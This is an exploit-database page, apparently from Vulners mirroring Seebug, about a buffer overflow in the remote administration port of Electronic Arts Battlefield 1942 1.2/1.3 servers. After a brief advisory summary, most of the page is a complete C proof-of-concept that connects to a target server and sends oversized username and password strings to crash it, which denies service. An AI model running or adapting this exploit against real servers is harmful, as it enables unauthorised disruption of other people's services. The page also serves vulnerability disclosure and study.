Lucene search
K

Electronic Arts Battlefield 1942 1.2/1.3 - Remote Administration Authentication Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Remote Administration Authentication Buffer Overflow in Electronic Arts Battlefield 1942 1.2/1.

Code

                                                source: http://www.securityfocus.com/bid/6967/info

It has been reported that Battlefield 1942 does not properly check input sent to the administration port of a game server. By sending a string of excessive length, a remote attacker could crash the server, resulting in a denial of service. A manual restart of the server process would be required to resume normal service.

It is possible that this issue may be exploitable to execute arbitrary code, though this has not been confirmed. 

/*****************************************************************
 * hoagie_bf1942_rcon.c
 *
 * Remote-DoS for Battlefield 1942-Servers that have their
 * rcon-port activated (4711/tcp by default)
 *
 * Author: [email protected]
 *
 * Tested on BF-Server 1.2 on win32
 *
 * Credits:
 *    void.at
 *    ^sq, G7 and thokky
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <errno.h>
#include <netdb.h>

int bf1942_rcon_connect(char *servername, int serverport, char *user, char
*pass, int *s);

int main(int argc, char **argv)
{
   int sock, rval=0;
   char *user, *pass;
   int anz=5000/*4280*//*4272*//*4200*/;
   if(argc!=3)
   {
      printf("Usage: %s servername serverport\n\n",argv[0]);
      return EX_USAGE;
   }
   user=malloc(anz+1);
   pass=malloc(anz+1);
   memset(user,0,anz+1);
   memset(user,'A',anz);
   memset(pass,0,anz+1);
   memset(pass,'B',anz);
   do
   {

rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock);
      if(rval==-1)
      {
         printf("Authentication failed. user=%s pass=%s\n",user,pass);
	 user[1]++;
         close(sock);
      }
      else if(rval>0)
      {
         printf("Error: %s\n",strerror(rval));
         return -1;
      }
   } while(0);
   return 0;
}

/* open a session to a bf1942-server (Rcon)
 *
 * WARNING this is a minimalist's version of the real rcon-authentication
 * (XOR's skipped)
 *
 * in: servername, serverport, username, pass
 * out: on success: 0, serversocket in *sock
 *      on error  : -1 = autherror, errno otherwise
 */
int bf1942_rcon_connect(char *servername, int serverport, char *user, char
*pass, int *s)
{
   int sock, i, rval;
   struct hostent *hp;
   struct sockaddr_in inaddr;
   unsigned long l;

   char xorkey[10], buf[20];

   if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
      return errno;
   if((hp=gethostbyname(servername))<0)
      return errno;
   inaddr.sin_family=AF_INET;
   inaddr.sin_port=htons(serverport);
   memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr));
   if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0)
      return errno;

   // connection established. The first thing the server should
   // send is the XOR-Key for transmitting the username and the
   // password.
   if((i=read(sock,xorkey,10))<0)
      return errno;

   // send the username and the password...
   l=strlen(user)+1;
   if(write(sock,&l,sizeof(long))<0)
      return errno;
   if(write(sock,user,strlen(user)+1)<0)
      return errno;
   l=strlen(pass)+1;
   if(write(sock,&l,sizeof(long))<0)
      return errno;
   if(write(sock,pass,strlen(pass)+1)<0)
      return errno;

   if(read(sock,buf,20)<0)
      return errno;
   if(buf[0]==0x01)
   {
      rval=0;   // auth-ok, connection established
      *s=sock;
   }
   else
      rval=-1;      // auth-error
   return rval;
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
26